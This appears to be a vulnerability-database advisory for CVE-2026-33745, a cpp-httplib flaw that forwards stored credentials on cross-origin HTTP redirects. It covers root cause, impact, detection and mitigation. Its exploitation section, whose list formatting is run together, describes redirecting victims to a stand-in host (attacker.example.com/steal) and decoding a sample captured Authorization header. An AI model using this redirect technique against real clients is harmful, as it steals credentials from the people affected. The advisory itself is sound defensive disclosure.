
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-33745 is a credential disclosure vulnerability in cpp-httplib, a C++11 single-file header-only cross-platform HTTP/HTTPS library. Prior to version 0.39.0, the HTTP client forwards stored Basic Auth, Bearer Token, and Digest Auth credentials to arbitrary hosts when following cross-origin HTTP redirects (301/302/307/308). A malicious or compromised server can redirect the client to an attacker-controlled host, which then receives the plaintext credentials in the Authorization header. The vulnerability affects all versions up to and including 0.38.0, and was disclosed on March 25–27, 2026. It carries a CVSS v3.1 base score of 7.4 (High) (GitHub Advisory).
The root cause (CWE-200, CWE-522) lies in a logic flaw within ClientImpl::redirect(). When a cross-origin redirect is detected, create_redirect_client() correctly strips the Authorization header from the request object, but then calls setup_redirect_client(), which re-attaches all stored credentials (Basic Auth, Bearer Token, Digest Auth) to the new client targeting the foreign host. Subsequently, prepare_default_headers() re-injects the Authorization header from the client's stored credentials, making the initial header stripping ineffective. An additional issue exists: there is no protection against HTTPS-to-HTTP downgrade redirects, meaning credentials originally transmitted over TLS can be silently sent in cleartext after a redirect. Exploitation requires that the victim client has set_follow_location(true) enabled and any authentication method configured (GitHub Advisory).
Successful exploitation allows an unauthenticated attacker controlling or compromising a server to intercept plaintext Basic Auth usernames/passwords, Bearer Tokens (including JWTs and API keys), and Digest Auth credentials by issuing a cross-origin redirect to an attacker-controlled host. The stolen credentials can then be replayed against the originally targeted service, enabling unauthorized access, account takeover, or further lateral movement within the affected environment. Confidentiality and integrity impacts are both rated High, as credential theft can lead to full account compromise on dependent services (GitHub Advisory).
A complete, standalone proof-of-concept (PoC) C++ program is publicly available in the GitHub Security Advisory, demonstrating credential leakage by setting up two local HTTP servers and a victim client. The PoC confirms that the base64-encoded Authorization header is forwarded to the attacker's server upon redirect. There is no evidence of in-the-wild exploitation at this time, and the EPSS score is approximately 0.031% (very low). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).
attacker.example.com) with an endpoint (e.g., /steal) that logs all incoming request headers, including Authorization.set_follow_location(true) and any auth method) makes a request to the legitimate server, respond with a redirect pointing to the attacker's host: Location: http://attacker.example.com/steal.Authorization header (e.g., Basic YWRtaW46U3VwZXJTZWNyZXRQYXNzd29yZDEyMyE=) to the attacker's server.admin:SuperSecretPassword123!) or extract the Bearer Token, then use these credentials to authenticate against the originally targeted service (GitHub Advisory).Authorization header; HTTP redirect responses (301/302/307/308) from trusted servers pointing to unfamiliar or external hosts.Authorization headers forwarded to hosts different from the originally requested host; HTTP 3xx redirect chains crossing origin boundaries in access logs.httplib.h) at version 0.38.0 or earlier in application source trees or build artifacts.Upgrade cpp-httplib to version 0.39.0 or later, which fixes the issue by not copying authentication credentials to the redirect client for cross-origin redirects. As a workaround, disable automatic redirect following by not calling set_follow_location(true), and instead handle redirects manually, stripping credentials before following cross-origin redirects. Additionally, consider implementing network-level controls to block unexpected outbound connections from application servers. Developers should also audit for HTTPS-to-HTTP downgrade scenarios in their redirect handling (GitHub Advisory).
The vulnerability was reported by researchers thesanjok and SHOVAN-BLN and published via GitHub's Security Advisory program. The advisory draws explicit parallels to similar credential-leaking redirect bugs in other widely used HTTP client libraries, including CVE-2023-32681 (Python requests), CVE-2018-1000007 (curl/libcurl), and CVE-2022-27776 (curl/libcurl), contextualizing it as a recurring class of vulnerability. openSUSE issued a security announcement addressing the issue in their cpp-httplib packages, and Tenable's Nessus scanner (plugin 304174) added detection for the vulnerability (GitHub Advisory, openSUSE Advisory, Tenable Nessus).
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."